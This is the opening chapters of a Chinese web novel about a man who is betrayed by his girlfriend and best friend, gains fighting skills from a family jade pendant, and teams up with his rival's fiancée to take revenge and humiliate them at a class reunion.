《红颜劫》
001女友背叛,兄弟背刺!
“你的女朋友正在和别的男人开房。”
我整个人瞬间犹如雷击,大脑一片空白,只剩下心脏狂跳不止。
今天是我向苏韵求婚的日子,因为她说过,只要我给她付了房子首付,她就会嫁给我,今天,我在冯氏集团的分红就要下发了。
可一条陌生彩信,让我瞬间五雷轰顶!
我紧盯着手机屏幕,颤抖着点开确认键……
一张照片瞬间加载,画面铺满了整个屏幕。
高清的像素,刺目的灯光,凌乱的床单……
照片的中心,是两张我熟悉到不能再熟悉的面孔,他们正躺在一起!
苏韵!
我的苏韵!
她现在躺在床上闭着眼,她身上只盖着一条薄薄的被子,她身边躺着的男人,正是我高中的好兄弟—冯天宇,他是海城有名的富二代,我还记得半年前喝酒的时候,他搂着我的肩膀说:“陈凡,你和苏韵来我家公司上班,我都给你们办妥!”
办妥?
是办我的女人吧!
我像个疯子一样,手指颤抖着拨打苏韵的手机,我多希望我看到的是假象,可现实却给了我沉重的一击!
关机,关机,还是关机!
我的女朋友跟我最好的兄弟,睡了!
还特么的是在我准备求婚的这一天!
愤怒、屈辱、背叛、心碎!
我看着手里精心准备的求婚戒指,想着这五年来的傻瓜一样的付出,我感觉自己好像一个大冤种,我恨不得杀了这两个人!
我跌跌撞撞的拦了一辆车,往家赶,这一路上,我觉得时间过得很漫长,每一秒都是对我的凌迟!
站在家门口,我甚至还幻想这一切都是假的,可从门里传来的暧昧声,彻底将我的尊严撕碎!
“天宇,为什么要在人家脖子上种草莓,会被陈凡发现的。”
“就想刺激刺激他,怎么?你还没和那个废物提分手?”
“他说今天公司发奖金,我骗他说要买婚房,等他把钱给我,我就踹了他!”
“这个废物,尽然还想着分红,我把陈凡调离东郊项目,让他拿不到一分钱,到时候,我把他的分红都转给你!”
“天宇,你对我可真好,你快娶了我吧,我一天都不想和那个废物在一起了!”
东郊度假村项目,是我一直跟进的项目,我拉到不少广告赞助,按照提成,我可以分得12万,这是我的辛苦钱,没想到冯天宇竟然要私吞!
在想想苏韵那个贱样,我气就不打一处来!
我忍无可忍,一脚踹开了房门!
“啊!”
苏韵惊叫一声,她慌乱的从床上坐了起来,她一脸惊恐的看着我!
“他妈的,谁啊!”
冯天宇骂骂咧咧,看到门口站着的是我,他不慌不忙的从床上坐起来,冷冷道:“陈凡,你有病吧,你他妈不会敲门啊!”
“我回我家,还用敲门?你们这对狗男女!”我痛骂道。
“陈凡!”苏韵整理好了一衣服,她高高在上道:“你骂谁是狗男女,我早就想跟你分手了,现在你都看到了,我也懒得说了。”
“看到了吧。”冯天宇搂着苏韵,在我面前耀武扬威道:“废物只会犬吠,明白告诉你,苏韵半年前就和我好上了,你这种蝼蚁,只配玩我剩下的。”
“苏韵,我养了你五年,你出轨,你还有良心么!”我指着苏韵质问。
“良心?呵呵!”苏韵双手抱着肩膀,冷嘲热讽:“陈凡,除了会画饼给我,你还会什么?天宇能给我买LV,你能么?天宇能带我去五星级酒店,你能么?我受够你的穷酸样了!”
“陈凡,你被公司解雇了!”冯天宇冷冷道:“当初如果不是苏韵求我,我会让你来我的公司上班?说到底,你就是个靠女人钻裤裆换工作的垃圾!”
“你还站在这里干什么?滚出去,难道你想看我和苏韵现场直播?”冯天宇一脸邪笑。
妈的!这是我家!
欺人太甚!
我冲上去,一拳狠狠砸在了冯天宇的脸上,他被我打的鼻血直流,同样,冯天宇的拳头也打向了我!
我们俩就这样,你一拳,我一脚,在出租屋里打了起来!
就在这时,苏韵从后面抱住了我,让我动弹不得。
“天宇,快打他!”
“你们这对狗东西!”我挣扎着,想要挣脱苏韵的束缚。
砰!
冯天宇一拳打在了我的太阳穴上,我大脑一片空白,眼角流血,我整个人瞬间倒在地上,视线被血染红了……
“废物,以后见你一次打你一次!”
“天宇,他昏了,我们赶快走吧……”
“妈的,真特么晦气!”
我望着他们离去的背影,我想冲上去狠揍他们,可我却没有力气,眼角的血流进了我胸前的玉佩,这枚古玉,是我家传的,一直平平无奇,可当鲜血侵入后,它竟然在我胸口发热震动,玉佩就像活过来一样,一股灼热的气流从玉佩而出,灌入我的四肢百骸!
002送上门!
一时间,一股巨大的信息流入我的脑海,格斗技巧、发力方式、人体弱点、各种搏杀术……无数关于战斗的技巧,都瞬间烙印在我的身体里。
我感觉自己好像做了一场梦一样,在梦里,我学会里许多战斗技巧,当我睁开眼,我感觉浑身充满了力气,我摸了摸自己的脸,眼角不在流血,伤口已经愈合。
我看向镜子,我发现自己好像变了一个人!
原来的我颓废、落魄、不自信!
可现在,镜子里的我,目光有神,从容自信!
我下意识的摸了摸玉佩,难道,这都是它带给我的改变?
“陈凡,没想到你还挺有骨气的!”
一个女人的声音响起,我望向了门口,只见一个绝色美女站在门口!
我抬起头,打量着她。
她五官精致绝美,高挑的鼻梁加上饱满的唇形,让她看起来极具野性,一双桃花眼微微上扬,黑色卷发慵懒的散在肩上,让她极具魅惑。
她侧着头,似笑非笑的看着我,她的眼神犀利,仿佛能刺穿人心。
忽然,她向我伸出了手,说道:“你好,陈凡,有兴趣和我聊聊么?”
她和我说话的时候,虽然在笑,可眼神里的玩味让我很不爽,那种感觉就好像自己像是猎物一样被她给盯上了。
“没兴趣。”
我冰冷的回绝,我没有握她的手。
“我叫夏颜,冯天宇的未婚妻,你手机里的照片,是我发的。”
草!
我在心里暗骂了一句,这女人上来就往我的伤口上撒盐,她简单的一句话,直戳我的痛处,冯天宇的未婚妻来找我做什么!
“滚!”我骂道:“滚出我家!”
可让我惊讶的是,夏颜没有退步,反而走上前,她盯着我的眼睛,就像法官在审视犯人,她冷冷道:“看来冯天宇和苏韵这对狗男女,把你伤的不轻啊!”
她的话,再一次精准的踩在了我的痛点上。
“你有病吧,数落我有意思?”我狠狠的问道:“你是来看我笑话,还是来替冯天宇要医药费的?”
我说的话很难听,我就是这样的人,你让我不爽,我肯定也会让你不爽,和冯天宇有关的人,一律都是我的敌人
“抱歉,让你误会了。”
夏颜抱着双臂,微微一笑道:“如果我想看你笑话,就不会发彩信给你,不过,看到冯天宇被你揍成猪头,我心里确实有一点点的爽。”
夏颜说着还故意伸出手指比划了一个距离,道:“嗯,就这么爽。”
“你妹的!”
我忍不住骂了一声,这个女人太嚣张了。
不过,我在想,冯天宇有个绝色未婚妻,他还出来偷腥?夏颜无论哪方面都甩苏韵十万八千里啊!
“陈凡,你先别激动,气大伤身。”夏颜拍了拍我的肩膀,一脸精明的看着我,问道:“想不想报复冯天宇,让他尊严扫地,让他沦为他人的笑柄,让他痛不欲生!”
夏颜的话,让我有那一瞬间的失神,或者说,我被她说动了。
“如果你愿意,我可以让你实现复仇,不过,你要先帮我一个小忙!”
夏颜话锋一转,她的手指在一次在空中比划了一个距离,道:“就这么小的忙。”
她说起话来声音富有磁性,又充满诱惑力,只不过她古灵精怪的性格,让我捉摸不透。
“帮忙?”我呵呵一笑,一脸不屑道:“夏大小姐,看你的穿着,就是名门望族,我一个无名小卒,能帮你什么忙?”
我看似对夏颜恭维,其实就是在冷嘲热讽,算是对她刚才冒犯我的一种报复,谁让她刚才嘲笑我了。
“啧啧,陈凡,没想到你还是个记仇的男人,这样更好,我果然没有选错人!”
夏颜非但没有责怪我小心眼,反而夸我,这让我觉的这个女的,是不是有点毛病?
“你是不是有病?”我一脸耐烦的骂道。
“陈凡,难道你就不想听听我的计划么?”
夏颜从她爱马仕包里,拿出了一个文件,递给我道:“签了这份合约,和我假扮情侣,你稳赚不赔!”
夏颜用她那双桃花眼,盯着我的眼睛认真的说道:“做我的男朋友,秀恩爱,让冯天宇在众人面前沦为笑柄,让他看看,他最好的兄弟撬走了他的未婚妻,我要让他成为圈子里最大的笑话!”
她的话,点燃我心中的欲望!
我看着眼前绝美的脸庞,极佳的身材,这么漂亮的女人,真让我心动,冯天宇能睡苏韵,那我就可以追他的未婚妻!
夏颜她靠近了我,直视我的眼睛,道:“我调查过你,冯氏集团的东郊项目,你是销售顾问,你为他们拉了不少广告,现在被冯家开除,你甘心么?”
我当然不甘心!我肯定要让冯天宇付出代价!
我不再犹豫,而是干脆利落的问道:“你的计划是什么,还有我能得到什么好处?”
“你答应了?”
夏颜不敢置信,一脸惊喜的看着我,她似乎有点不太相信我的话。
“只要你给我的利益足够诱人,我可以答应。”
“你想要什么,只要是我能满足的,我都可以给你!”
“我想要你和我睡一觉,顺便在发个彩信给冯天宇。”
“陈凡你给我滚,打车滚!”
我的脸上露出狡黠一笑,好像打了胜仗的兵,刚才她不就是这样嘲笑我么,现在我还回来了!
“冯天宇的家产有多少?”我问。
“保守估计上亿吧。”夏颜一脸差异的看着我,问道:“陈凡,你不会狮子大开口,管我要上亿吧?我可没有那么多钱?”
我摇了摇头,道:“如果说,这笔钱让冯天宇出呢?”
夏颜先是惊讶,然后一脸兴奋的问道:“你的意思是,吞掉冯家的财产?”
我点了点头,冷冷道:“我这个人做事,要么不做,要做做绝!”
夏颜眨巴着眼睛,眼神里流露出欲望和野心。
“陈凡,我果然没看错你,成交!”
“如果你真的能吞掉冯家,我到真想嫁给你了!”
“君子一言!”夏颜向我伸出了手。
“快马一鞭!”
我握住了夏颜的手,两个人协议达成,有夏颜这个顶级美女陪我,我现在开始期待我的复仇之路!
“给我一间公司,我要击垮冯天宇!”我直接开口道。
夏颜笑了笑,道:“公司可以给你,不过,我也不是冤大头,在此之前,你要完成一个小小的考验。”
“什么考验?”我问。
夏颜从她的爱马仕包里,拿出了一个材料递给我。
“一年前,冯天宇为了讨好一个女明星,在我控股的夜店里豪掷地五百万,就为了睡她,他到现在都没给钱,这里是欠条。”
“如果你能要回来,我会给你一间公司,然后在给你10%的提成。”
五十万!
我的心,被说动了!
003极品女人的奖励!
我激动的吞了吞口水!
那可是五十万现金,我要不吃不喝,打工五年,才能攒下来,有了这笔钱,我就有了第一桶创业基金!
“我干!”我毫不犹豫的就答应了下来。
“好,三天时间!”
真是不是冤家不聚头,没想到富二代冯天宇,也有把柄落在我手里的一天,想想他今天嚣张的样子,我就绝对不会放过他。
“冯家最近资金链有些紧张,不过冯天宇是个要面子的人,尤其是对你……”夏颜若有深意道:“机会已经给你了,能不能把握住,就看你的了……”
夏颜露出一个意味深长的笑容,然后起身,头也不回的走了。
五十万!
一间公司!
夏颜的男友!
这三个条件,每一个都对我极具诱惑性,尤其是最后一条,光是想想,就觉得过瘾,我甚至在想,如果冯天宇知道这件事,会不会被气死!
第二天一早,我就来到了冯氏集团,这个我曾经工作过的地方。
当我出现在公司的时候,人事主管张维不悦道:“陈凡,你怎么又来了,昨天不是发给你通知了么,你被公式解雇了。”
张维,冯天宇的狗腿子。
我懒得搭理他,而是直接去往冯天宇的副总办公室。
“陈凡,你别给我找不自在,都开除你了,你还来找冯总干什么?”
“你是不是给我上眼药?我让你站住,你听见没!”
张维拉住了我的衣服道:“你已经不是公司员工了!”
“我来找冯天宇要账!”我愤怒道。
“你要什么钱!公司不欠你的!”
“可冯天宇欠我的,五百万!”
说着,我手里晃了晃那张冯天宇的欠条,张维先是不信,可当他看见冯天宇的手持欠条的照片时候,他瞬间愣在当场。
“狗仗人势!”我淬了一口,然后一把推开冯天宇的办公室大门。
冯天宇正双脚翘在办公桌上,拿着手机眉飞色舞地聊着什么,当他看到进来的人是我时,他马上变了变色。
“陈凡,你他妈还敢出现在我面前?怎么,嫌昨天揍得不够爽,今天送上门来找死?”
我现在是冯天宇的债主,我根本不怕他!
我反手关上门,直接走到冯天宇面前坐下,我从容不迫,仿佛这里才是我的主场!
“陈凡,你听不懂人话是不是,你已经被开除了,你赶紧给我滚出去!”
冯天宇见我如此随意,他直拍桌子轰我走。
“开除我可以,我的12万提成,你必须给我!”
“没有!我就是喂狗,都不会给你!”
冯天宇的态度,是我意料之中的,他要是能给钱,那就不是他了。
不过,接下来,我就要他难堪!
我不慌不忙,将欠条摆在了冯天宇的眼前。
他看了一眼欠条,瞳孔微缩,随意冷笑:“我以为是什么,不就是我欠夜店的钱,怎么,你还当上催债员了?废物果然是废物!”
冯天宇试图激怒我,可他的算盘终究要落空。
“欠条现在在我手里,债权已经转移带我的手上,我今天,就是来收这五百万的。”
我眼神冰冷的看着冯天宇,质问道:“你现在是转账,还是等我申请法院强制执行,让全行业都知道冯氏集团的少东家,是个欠债不还的老赖?”
“你他妈吓唬谁呢?!”冯天宇猛地一拍桌子,怒道:“五百万?老子就是扔水里听响,也不会给你这个穷逼一分钱!还想告我?你去告啊!看看是你先死,还是我先拿到传票!”
冯天宇马上拿起座机,打了个电话:“叫几个人上来,有人在我办公室闹事。”
电话挂断,不到一分钟,保安们就冲了进来。
冯天宇对他们下了命令:“把他腿打断,让他爬出公司大门!”
几个保安瞬间向我逼近,我知道,这都是冯天宇养的鹰犬,专门打手。
若是以前,我肯定不是他们的对手,但此刻,我脑海中“格斗大师”的能力自然流转,他们的动作在我眼中变得缓慢而充满破绽。
第一个保安伸手抓我的衣领,动作粗暴,我速度极快,左手闪电般扣住他手腕,向下一拧!
“咔嚓!”清脆的骨折声和保安凄厉的惨叫同时响起!
另一个保安看后立刻跟上,他一记沉重的直拳轰向我的面门。
我侧身躲闪,拳头擦着我的耳边而过,我右手一掌劈过去,直接看在他的脖颈上,他身体踉跄一下,然后整个人倒了下去,他瘫坐在地上,双眼发呆,明显是被我打晕了。
整个过程,不超过两分钟,办公室里的保安们面面相觑,他们不敢在上前。
“妈的,都是废物,要老子亲自上!”
冯天宇踩着办公桌,一个飞踹向我袭来,他动作挺快,可在我眼里,就如同慢放一样。
我双手瞬间拽住了他的右腿,浑身力气暴涨,一拽一甩,将他重重的摔飞在办公室门上。
砰!砰!
第一声,他撞在门上。
第二声,他摔在地上!
傻眼了!
办公室所有人都傻了,那可是150斤的人,就这样被我
摔飞了!
“草,陈凡,你什么时候这么厉害了!”
冯天宇揉着脑袋,从地上站起来。
“是你太菜了!”
我一步步的逼近冯天宇,他被我打后,嘴巴也不臭了,他惊恐的开门,想要逃!
我一脚狠狠的踹在了他肚子上,这一脚势大力沉,他马上干呕起来。
“我警告你!这里是冯氏集团!你敢动我,你死定了!”
我踩着他的胳膊,狠狠用力:“五百万,给还是不给!如果不给,我就拆了你的胳膊!”
冯天宇疼的冷汗直流,他看着我冰冷的眼神,毫不怀疑我真的会废了他。
“我给!我给钱!”他几乎是尖叫着喊出来,手忙脚乱地扑到办公桌前,拿起内部电话,声音颤抖得不成样子,“财务!立刻!立刻给我准备五百万支票!”
五分钟后,我收到了那张五百万的支票,我将欠条递给了冯天宇,道:“我的十二万呢!一分不能少!”
冯天宇一直在流汗,他赶紧打开保险柜,从里面拿了12捆现金给我。
“陈凡,你要的我都给你了,实在不行,苏韵我还给你,别打我了。”
“那个贱货,你就留着用吧,我这不是垃圾站。”
两笔钱,我都要到了。
此刻的我,才懂得一个道理,嘴巴说没有用,拳头硬才是硬道理。
对付无赖,就只能比他更无赖。
我起身,装好钱,拿着支票走出了办公室。
哎呀!
我刚拉开门,张维就栽到了我身上,他应该是在这里偷听。
“那个……我就是不小心路过……”
“你忙着,陈凡,有事给哥打电话,我能帮,肯定帮。”
我冷冷一笑,对着他说道:“打你妈个头!”
在众人诧异和惊讶的眼神中,我拎着现金,拿着支票,走出了冯氏公司。
从这一刻起,我的人生轨迹就发生了转变。
事业和美人,我都要!
夏颜给了我三天时间,我用了一天就解决了。
我心中狂喜,止不住的兴奋,我迫不及待的拿着支票去找夏颜。
当我将那张五百万的支票轻轻放在夏颜办公桌上的时候,她看着我的眼神,已经彻底不同了。
没有审视、没有玩味,有的只是尊重和一丝敬佩。
“一天,五百万,陈凡,你真的是给了惊喜!”夏颜欣喜道。
“那么夏总,现在能给我一间公司了吗?”
004夏颜罩我!
“当然,这是你应该有的奖励!”
夏颜略带赞赏的看着我,然后刷刷在纸上写下了一个地址,递给我:“这间夜店就交给你管理,不过,能不能站稳脚跟,就看你的了,陈总。”
我看了一眼,竟然是丽迪?
这不就是冯天宇当初欠债的夜店么,它在海城生意很好,夏颜竟然把他给我了?
紧接着,夏颜打了一个电话,过了十五分钟,一个年轻男人,走了进来,他大概三十多岁的年级,国子脸,一脸严肃。
“方想,这位是陈凡,以后丽迪就交给陈凡管理了。”
“陈凡,这位是丽迪的经理。”
我起身,笑着点了点头,然后主动伸手:“方经理,幸会,以后多多指教。”
“还请陈总多多关照我啊!”方想笑着和我握手。
方想简单的将夜店情况告诉了我,然后就匆匆离去上班了。
我看着一脸笑意的夏颜,说道:“谢谢你夏总。”
我的话还没说完,手机就滴滴想个不停,我掏出来手机一看:
班长李浩:“同学们!今晚上七点,盛世皇朝VIP888,同学聚会,能来的都来啊!听说咱们的班花苏韵也要带家属出席,大家热烈欢迎!”
群里瞬间炸开了锅。
刘刚:“苏韵班花要来?必须到!”
何飞:“家属?是那位冯氏集团的冯少吗?哇,苏韵真是人生赢家!”
李月:“班长威武,盛世皇朝啊,听说最低消费都得上万!”
苏韵:“大家都来啊,我们家天宇也想认识认识大家!”
“……”
我看着苏韵在群里闪动的头像,我眉头紧皱,心里一阵作呕,我知道,这就是苏韵故意的,她是想羞辱我,让我看看她过的有多好。
“怎么了?”夏颜问我。
“没什么,就是个同学聚会,苏韵要带冯天宇出席,摆明了就是想羞辱我,我才不会去……”
“去,为什么不去!”夏颜一脸兴奋,眼神大放光彩,道:“这可是打脸那对狗男女的好机会,我和你一起去,想想就兴奋。”
我微微一愣,没想到夏颜竟然比我还兴奋?
她到底想要干什么?
夏颜打开她的抽屉,从里面拿出了好几把车钥匙,有奔驰、有保时捷、竟然还有宾利……
“陈凡,你今晚想开哪个去同学会?”
那一大串的车钥匙,让我的心砰砰跳,可是梦寐以求的豪车,可……那终究不是我的。
我摇了摇头,笑着从衣服兜里拿出一把电动车钥匙:“夏总,要不要坐坐我的车?360度全景天窗、纯人工智能导航,车速有多快,取决我脚蹬的有多快,手刹配合脚刹,绝对安全!名牌,雅迪!”
噗嗤!
夏颜被我的介绍逗笑了,她一脸开心道:“陈凡,你可真行,我后悔让你去夜店了,你应该去当销售经理!”
夏颜走到我面前,一把夺过我的车钥匙,笑着道:“那我今天就坐坐你的车了,第一次,我还蛮期待呢!”
晚上六点,我骑着雅迪准时在公司门口等夏颜,她是最后一个下班的,当她看见我的破电驴时,她眼神绽放出一种新奇的惊喜。
“夏总,您的专属司机已到位,请!”
我笑着递给了她一个头盔,然后帮她带上。
“这个头盔好新啊,该不会是现买的吧?”
夏颜很自然的坐在后座,然后笑着问我。
“专门为你买的,你带新的,我带旧的,看我多为你着想。”
“陈凡,我要是个乳臭未干的小女生,我就信你了,咯咯……”
夏颜说着就咯咯笑了起来,我知道,她是真的开心。
我拧了一下车把,小破驴瞬间弹射……
夏颜惊呼一声,然后顺势抱住了我的腰,她整的胸部都贴在了我的身上,她柔软的身体,让我心旷神怡,我身后传来的都是她阵阵的体香……
如果她真的是我女朋友,该多好!
我微微侧头,我看见夏颜竟然脸红了……
这一路上,我们很默契的没有说话,似乎在守护着某种平静的浪漫……
我甚至在想,如果时间能够定格在此,那该多好,我将会是世界上最幸福的男人……
七点整,我来到了“盛世皇朝”,饭店门口停满了各式豪车,我的电驴显得格格不入。
夏颜摘下头盔,然后她给自己带上了口罩,她冲我眨眨眼睛道:“这样扮演你女友,打脸冯天宇才会爽!”
我心里微微一震,她说的没错,我倒想看看,当夏颜摘下口罩的那一刻,冯天宇该有多震惊!
他的未婚妻,成了我的女人!
想想,就特么痛快!
夏颜的口罩刚带上,就听到一个夸张的声音。
“哟!这不是咱们的陈大学霸吗?怎么,现在改行送外卖了?这电瓶车……挺别致啊!”
我回头,只见班长李浩搂着一个浓妆艳抹的女人走了过来,他一身名牌西装,头发梳得油光锃亮,手腕上故意露出的金表格外扎眼。
他身边那女人,正是当初班上一个没什么存在感,如今却靠着几分姿色和李浩混在一起的女生,好像叫张丽。
李浩上下打量着我,眼中的鄙夷几乎要溢出来:“陈凡啊,不是我说你,混了三年还是这德行?今天的聚会要是AA制,你能付的起么?要不然我和同学说说,你的那份我们承担了!”
“大可不必!”
我冷漠的回了一句,然后拉着夏颜的手就往里面走。
夏颜的俏脸微微一红,格外好看。
李浩看见夏颜,微微一愣,眼神闪烁着贪恋,尽管夏颜带口罩,可她婀娜多姿的身材,却掩盖不住。
李浩在我身后冷哼一声,道:“穷成这逼样了,还带个女人来装逼?一会儿等苏韵和冯少来了,看他怎么下台!”
VIP888包厢极大,装修极尽奢华,巨大的水晶吊灯晃得人眼花,已经来了二十多个同学,三五成群地聚着,男的多是西装革履,夸夸其谈着项目和股市,女的则珠光宝气,比较着包包和首饰。
我的到来,让原本热闹气氛顿时戛然而止。
他们看向我的眼神,多半都是幸灾乐祸!
“陈凡?你还真来了?”一个曾经追过苏韵没成功的男生,故意大声说道,“听说你最近被开除了?工作找到了吗?”
“是啊陈凡,要是困难就跟老同学们说一声,大家帮你介绍个工作还是没问题的。”另一个女生假惺惺地附和,眼神却在我廉价的衣着上扫来扫去。
我拉着夏颜的手,找了个角落坐下来,然后到了两杯茶,我不好意思道:“抱歉,我的同学会,让你见笑了。”
夏颜微微一笑,道:“没事,比这势力的场面,我见多了!”
好兄弟张帆来到我身边,压低声音道:“凡子,别搭理他们,他们都是势利眼,跪舔苏韵和冯天宇的臭脚,真特么恶心!”
“这位是?”张帆看了看坐在我身边的夏颜。
“我女朋友!”我特别自豪到。
然后我还特意牵起夏颜的手,在张帆面前晃了晃。
“我草,兄弟,你行啊,我还以为你和苏韵分手了,就一蹶不振了,没想到你这么快就有对象了!”
“牛逼!”张帆向我竖起大拇指,然后看了看夏颜,道:“别说凡子,你真有眼光,嫂子可比苏韵强多了!”
一声嫂子,叫的夏颜脸都红了,她只能故意装着没听见,环顾四周。
“凡子,你现在干啥呢?要不去我那上班?我和我领导说一说!”
“不用,我现在已经有工作了……”
“那就好,这帮狗日的,真是狗眼看人低!”张帆骂道。
就在这时,包厢门被推开,一阵香水味率先涌入。所有人都停下了交谈,目光齐刷刷地投向门口。
苏韵来了。
她穿着一身迪奥的连衣裙,手里拎着LV包包,妆容精致,容光焕发,她亲昵地挽着一个男人的手臂,而那个男人,正是冯天宇!
005打脸苏韵!
哇!苏韵,你今天太漂亮了!”
“冯少!久仰久仰!”
“真是郎才女貌,天生一对啊!”
同学见到两个人,开始一蜂窝的拍马屁,尤其是李浩,更是对冯天宇点头哈腰。
“冯少,苏韵,快里面请!就等你们二位了!”李浩一脸谄媚道。
“大家都到了呀。”苏韵笑着,故意说道:“天宇听说我们同学聚会,特意把盛世皇朝最好的包厢留给我们,还说了,今晚所有的消费,都由他买单!”
“冯少威武!”
“太感谢冯少了!”
“苏韵,你真是好福气!”
马屁声更加热烈了。
李浩安排冯天宇和苏韵在主位坐下,仿佛他们是今晚的国王和王后。
然后李浩环视一周,看到了我,故意道:“陈凡,你怎么坐那么远?过来一起坐啊!冯少大人有大量,不会在意的。”
李浩的话,就是在嘲笑我是个失败者,无数道目光在我身上,充满了嘲讽。
冯天宇听到我的名字,他身形一震,然后他马上把头转向一边,不敢和我对视,他刚被我揍完,他哪里敢看我!
苏韵则轻轻拉了拉冯天宇的衣袖,柔声道:“天宇,都过去了,陈凡他也不容易,我们就别跟他计较了。”
“嗯……”冯天宇低声嗯了一句,也没有昔日的嚣张气焰。
“天宇你怎么了,你是不是不舒服?”
苏韵碰了冯天宇的胳膊,冯天宇脸上露出一个痛苦的表情,别人不知道怎么回事,只有我知道,那是被我打伤的!
“嗯,最近工作有点累……你别碰我胳膊……”
冯天宇低着头,小声回应苏韵,只不过他的话里透着一种虚弱……
有几个当初就看我不顺眼的男同学,开始阴阳怪气:
“陈凡,听说你被开除了?啧啧,真是可惜了。”
“要我说啊,这人就得认命。有些东西,不是你的,强求不来。”
“就像这盛世皇朝,有些人一辈子可能也就来这么一次了,得好好珍惜啊。”
张帆气得脸色通红,想要站起来反驳,被我按住了。
我缓缓抬起头,目光平静地扫过那些嘲讽的嘴脸,最后落在苏韵和冯天宇身上,嘴角忽然勾起一抹似笑非笑的弧度。
先让你狂,看看谁笑到最后!
酒过三巡,菜过五味,气氛愈加热烈,吹捧也愈发露骨。
张丽挽着李浩的胳膊,故意用所有人都能听到的声音说:“你看苏韵这包,可是限量款,冯少真是疼她,不像有些人,估计连个高仿都买不起吧?”
她说这话时,眼睛故意瞥了我。
另一个女生也附和道:“就是,韵韵现在用的护肤品都是海蓝之谜级别的,所以说啊,女人干得好不如嫁得好。”
苏韵矜持地笑了笑,抚摸着手中的包,眼神却再次飘向我,带着一丝挑衅:“陈凡,你被开除了,你还有钱交房租吗?”
包厢内哄堂大笑,我知道所有人都在看我笑话!
张帆猛地站起来:“苏韵,你他妈别太过分!”
我拉住了暴怒的张帆,缓缓站起身。
“我已经有新工作了!”我不卑不亢道。
苏韵嘴角扯过一抹笑,道:“你还能有工作?你昨天才天宇开除的!天宇你说是不是?”
“啊……是……”冯天宇一阵心虚,低着头不说话。
“陈凡,你在哪里上班?”李浩问道。
“没有打工,我自己有公司!”我淡淡到。
“我草!真是吹牛逼啊!”李浩说道:“那你公司叫什么?”
“丽迪!”我随口两个字。
“啊?哈哈哈~!”苏韵笑的前仰后合,道:“丽迪是你的公司?你疯了吧?”
“都是成年人,我有必要撒谎么!”我冷冷道。
“我有个兄弟,在丽迪上班,我可以打电话问问!”
李浩一脸贱兮兮的跑了过来,他生怕不能拍马屁!
李浩拨通了他那个所谓的电话,然后一脸坏笑的问:“张哥,你们丽迪现在管事的是谁啊?是方哥啊?好的好的,我就是问问,我一个同学说丽迪是他的,现在知道了,他在吹牛逼!”
啪啪!
苏韵一脸小人得意:“陈凡啊陈凡,我认识你那么多年,没想到你竟然撒谎成性!”
“我没有撒谎,李浩,我觉得你更应该问一下管理层!”
我去丽迪的消息,只有方想知道,其他的人并不清楚。
“好,陈凡你竟然想死,那我就让你死个明白,我刚才正好看见了丽迪的方经理,我现在就请他来。”
苏韵的话正中我的下怀,她就真的给方想打电话了。
“苏韵,我劝你还是认清现实,冯天宇有未婚妻,他不可能娶你!”
我的话让全场的人一愣,那些阿谀谄媚的人,都看着苏韵!
“你在胡说什么,天宇怎么可能有未婚妻,陈凡,你就是嫉妒他得到了我!”苏韵气的直跺脚!
“他的未婚妻,叫夏颜!”
我的话犹如一根针一样,狠狠地刺向了苏韵。
“夏颜?”
“华颜集团的董事长,传说中的海城市花,夏颜?”
“听说那个夏总很有钱,又能干!”
同学们又开始议论纷纷,只不过冯天宇的脸上挂不住了,他的额头上,甚至渗出了汗水。
“天宇,你有未婚妻么?”苏韵撒娇似的问道。
冯天宇哄着苏韵道:“韵韵,我怎么可能有什么未婚妻呢!我不会骗你的!”
“就是!冯少不会骗人!”李浩再一次走了出来,道:“我就在华颜集团上班,我怎么没听说董事长有婚约?”
“陈凡,我看你就是嫉妒冯少,所以胡编乱造出来理由,你真是可耻啊!”
李浩再一次对我输出,他的话里极尽对我的羞辱,他说道:“冯少,这种人,还是不要请他吃饭了,赶他走好了!”
“先不着急,等方经理来了再说,我倒想看看,陈凡究竟是不是丽迪的老板!”
苏韵一脸得意,一副胸有成竹的样子!
吱!
888VIP的房间门,被推开,方想走了进来。
苏韵立刻走了过去,和方想握了握手。
“方经理,实在不好意思给你叫来了,确实是有件事,想要问问你。”
“什么事?”
“我们这里的一个同学,非说丽迪是他的,所以只能喊你来确认一下。”苏韵说着手指向了我道:“你也知道,现在好多人都喜欢吹牛,这位就是我的那个……”
“陈总?您怎么在这里?”方想看到我后,笑着问我。
陈总?!
丽迪的方经理竟然喊他陈总!
所有人的露出一脸震惊、诧异的目光看向了我!
006夏颜邀我回家(上)!
“方经理,你喊他什么?”苏韵咬紧牙关问道。
“陈总啊!有什么不对的吗!”方想走到我面前,笑着对大家说:“这位是我们丽迪的总经理,陈凡,他没有骗你们!”
所有人的目光再一次聚集到我的身上,这些谄媚的人,在看向我的时候,眼里多了几分羡慕、嫉妒!
我看了看冯天宇,他此刻咬着牙,脸色阴沉,我又看了看苏韵,她更是一脸的恨意看着我,仿佛在责怪我,让她出丑了。
在看看那个李浩,他故作没听见。
“一顿操作猛如虎,小丑竟是你自己!”我冷冷的嘲讽着苏韵:“又是打电话,又是喊人,结果呢?成了小丑了吧。”
我看了看李浩,冷冷说道:“什么VIP888包房,什么要给我付份子钱,方经理,你记好这张脸,既然他这么有钱,以后他来丽迪消费,就给翻倍!”
李浩看着我,他笑着说:“陈凡,都是误会,你也别往心里去,咱们都是同学,快做下一起吃饭喝酒叙叙旧!”
“误会?”我冷笑着问:“刚才苏韵羞辱我的时候,你怎么不说误会,现在我成了老板了,就没有误会了?你是不是狗眼看人低!”
“陈凡,你差不多就得了,就算是丽迪是你的又怎么样,你有冯天宇有钱么?”苏韵眉头紧皱,一脸的不乐意。
“苏韵,我说过,冯天宇有未婚妻,你还在这里执迷不悟!”我说道。
“陈凡,什么夏颜不夏颜的,我根本不认识!”冯天宇被苏韵盯着,他只能起身和我据理力争。
“你敢发誓么!”我问。
“怎么不敢,我冯天宇没有未婚妻,那个夏颜与我没有任何关系!”
我冷冷一笑,然后转过头,对着角落里的夏颜说道:“夏颜,你听到了吧,冯天宇说不认识你呢!”
“夏总也在这里?!”方想一脸诧异道。
“华颜的董事长?”
“海城的市花?!”
所有人的目光都聚焦在角落里带着口罩的女人身上,冯天宇更是紧张!
夏颜缓缓的站起身,一道清冷、高贵的身影,出现在大家的面前。
她摘下了口罩!
一身藏蓝色的西装,勾勒出她身材的完美曲线,灯光下,她肌肤胜雪,容颜绝世!
她仅仅是站在那里,就让整个包厢奢华的装修都黯然失色。
她目光清冷,缓缓扫过包厢内目瞪口呆的众人,最终,落在了冯天宇的身上。
“冯天宇,你究竟认不认识我?”
夏颜声音不大,可极具威慑力,在看冯天宇,现在他结结巴巴,冷汗直流。
